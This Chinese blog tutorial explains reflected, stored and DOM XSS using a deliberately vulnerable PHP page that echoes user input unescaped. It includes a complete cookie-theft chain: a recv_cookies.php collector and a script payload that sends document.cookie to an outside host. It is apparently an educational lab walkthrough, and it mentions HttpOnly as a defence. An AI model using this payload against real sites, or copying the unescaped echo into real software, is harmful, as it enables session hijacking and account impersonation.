XSS跨站脚本攻击原理与实践

XSS跨站脚本攻击原理与实践

XSS一般分为3类:
1.反射型XSS,相对来说,危害较低,需要用户点击特定的链接才能触发。

2.存储型XSS,该类XSS会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。

3.DOM 型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS。

反射型XSS

本步骤的页面代码:

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>反射型XSS测试</title>
</head>
<form action="" method="get">  
    <input type="text" name="msg"/>
    <input type="submit" value="submit"/>  
</form>

<?php
if(isset($_GET['msg']) && $_GET['msg'] != '') {
    echo '您输入的内容为:' . $_GET['msg'];
}

功能很简单:检测用户是否通过GET方法传参,如果传了msg参数,则直接输出,否则什么都不干,需要注意的是,这个表单使用的传参方法为GET方法。
正常情况下,用户只会输入一些普通字符,也就是数字、字母或者中文,所以,不会有什么安全问题。

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>反射型XSS测试</title>
</head>
<form action="" method="get">  
    <input type="text" name="msg"/>
    <input type="submit" value="submit"/>  
</form>

<?php
setcookie('username','xssuser');
session_start();
if(isset($_GET['msg']) && $_GET['msg'] != '') {
    echo '您输入的内容为:' . $_GET['msg'];
}

HTTP是无状态协议,它依靠cookie来识别用户身份,如果我们通过JS来获取了用户的cookie后,我们就可以冒充他人的身份,比如:如果某银行网站存在XSS,你通过XSS获取了别人的cookie后,你可以把cookie替换成别人的cookie来冒充其他人,然后你就可以自由转账了。注:事实上,银行的网站一般都设置了HttpOnly,JS脚本无法读取到cookie信息,而且银行转账一般需要短信验证码,特别是大额转账,所以即使你找到XSS,想要利用也很难。

上面的语句只能弹出用户的cookie,我们如何通过XSS得到用户的cookie呢?毕竟如果只是弹出的话,只有访问该页面的人才能看到,而我们是看不到的。

我们可以通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,然后再保存起来。所以首先需要写一个接收cookie的页面,它能够接收某个参数,然后保存起来。页面写好保存在c:\wamp\www\xss\的目录下,recv_cookies.php这个文件就是用来接收cookie并保存的,源码如下:

<?php
$filename = 'cookies.txt';
$f = fopen($filename, 'a');
$cookie = urldecode($_GET['msg']) . PHP_EOL;
fwrite($f, $cookie);
fclose($f);

它会把msg参数的值进行url解码后再保存到cookies.txt这个文件里面。

接下来就是构造JS代码来发起一个http请求了。利用Image对象就可以很轻易地完成该任务,新建一个Image对象,然后设置src属性,浏览器在碰到src属性的时候,会自动请求该src指向的url。这个url就写我们刚才写的接收cookie的页面的url,并且传msg参数过去,值为cookie。最终构造的语句为:

<script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>

这里为什么要进行URL编码呢?因为为了防止cookie中有特殊字字符,如#等导致cookie不全,比如:如果cookie为username=test#!@3,构造的请求地址为http://xss.com/recv_cookies.php?msg=username=test#!@3,但是#会被当作锚点来解释,导致后面的#!@3全部被忽略,浏览器最终请求的url为http://xss.com/recv_cookies.php?msg=username=test,所以导致页面接收到的cookie不完整。

在输入框输入上面构造的语句,然后点击submit,然后进入C:\wamp\www\xss目录,打开cookies.txt,就可以看到当前访问http://xss.com/xss-ref.php这个页面的人的cookie。

拿到了用户的cookie,拿到cookie后,我们就可以替换cookie来冒充其他人的身份,来做一些恶意操作。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

罡罡同学

您的鼓励是罡同学最大的前进动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值